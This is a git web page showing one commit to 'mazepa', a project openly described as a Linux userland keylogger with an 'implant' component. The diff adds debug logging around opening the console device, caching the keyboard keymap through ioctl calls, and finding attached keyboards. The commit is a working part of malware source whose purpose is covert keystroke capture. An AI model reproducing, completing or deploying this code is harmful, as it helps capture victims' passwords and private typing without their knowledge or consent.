mazepa.git


mazepa

~ linux userland keylogger
git clone https://github.com/djnnvx/mazepa.git
log | files | refs | archive | README

commit 6e7b9429cb3d80a865942e797897f85b72870e33
parent 039db0488276a857c72221b5b4a40a8f0fd7db11
Author: djnn <[email protected]>
Date: Sun, 18 Jan 2026 15:58:04 +0900

feat(implant): logging on detected keyboards

Diffstat:
Mmazepa-implant/sources/evloop.c | 29+++++++++++++++++++++++++++--
Mmazepa-implant/sources/kbd.c | 11+++++++++++

2 files changed, 38 insertions(+), 2 deletions(-)

diff --git a/mazepa-implant/sources/evloop.c b/mazepa-implant/sources/evloop.c
@@ -22,15 +22,25 @@ open_console(void) {
 
     for (int i = 0; consoles[i] != NULL; i++) {
         int fd = open(consoles[i], O_RDONLY | O_NOCTTY);
-        if (fd >= 0)
+        if (fd >= 0) {
+#ifdef DEBUG
+            DEBUG_LOG("[+] Console opened: %s (fd=%d)\n", consoles[i], fd);
+#endif
             return fd;
+        }
     }
+#ifdef DEBUG
+    DEBUG_LOG("[!] Failed to open any console device\n");
+#endif
     return -1;
 }
 
 static void
 cache_keymap(int console_fd, keymap_cache_t *cache) {
     struct kbentry entry = {0};
+#ifdef DEBUG
+    int mapped_keys = 0;
+#endif
 
     memset(cache, 0, sizeof(*cache));
 
@@ -51,8 +61,12 @@ cache_keymap(int console_fd, keymap_cache_t *cache) {
         entry.kb_index = (unsigned char)code;
         if (ioctl(console_fd, KDGKBENT, &entry) == 0) {
             unsigned char type = KTYP(entry.kb_value);
-            if (type == KT_LETTER || type == KT_LATIN)
+            if (type == KT_LETTER || type == KT_LATIN) {
                 cache->normal[code] = (char)KVAL(entry.kb_value);
+#ifdef DEBUG
+                mapped_keys++;
+#endif
+            }
         }
 
         entry.kb_table = K_SHIFTTAB;
@@ -63,6 +77,17 @@ cache_keymap(int console_fd, keymap_cache_t *cache) {
                 cache->shifted[code] = (char)KVAL(entry.kb_value);
         }
     }
+
+#ifdef DEBUG
+    DEBUG_LOG("[*] Keymap cached: %d keys mapped\n", mapped_keys);
+    DEBUG_LOG("[*] Sample mappings: Q=%c W=%c E=%c R=%c T=%c Y=%c\n",
+              cache->normal[KEY_Q] ? cache->normal[KEY_Q] : '?',
+              cache->normal[KEY_W] ? cache->normal[KEY_W] : '?',
+              cache->normal[KEY_E] ? cache->normal[KEY_E] : '?',
+              cache->normal[KEY_R] ? cache->normal[KEY_R] : '?',
+              cache->normal[KEY_T] ? cache->normal[KEY_T] : '?',
+              cache->normal[KEY_Y] ? cache->normal[KEY_Y] : '?');
+#endif
 }
 
 static char
diff --git a/mazepa-implant/sources/kbd.c b/mazepa-implant/sources/kbd.c
@@ -113,8 +113,19 @@ uint8_t fetch_available_keyboards(implant_t *instance) {
             continue;
         }
         TAILQ_INSERT_HEAD(&instance->kbd, kbd, devices);
+
+#ifdef DEBUG
+        DEBUG_LOG("[+] Keyboard found: %s (fd=%d)\n", kbd->name, kbd->fd);
+#endif
     }
 
+#ifdef DEBUG
+    int kbd_count = 0;
+    keyboard_t *k;
+    TAILQ_FOREACH(k, &instance->kbd, devices) { kbd_count++; }
+    DEBUG_LOG("[*] Total keyboards detected: %d\n", kbd_count);
+#endif
+
     for (int i = 0; i < possible_paths; i++) {
         free(char_devices[i]);
     }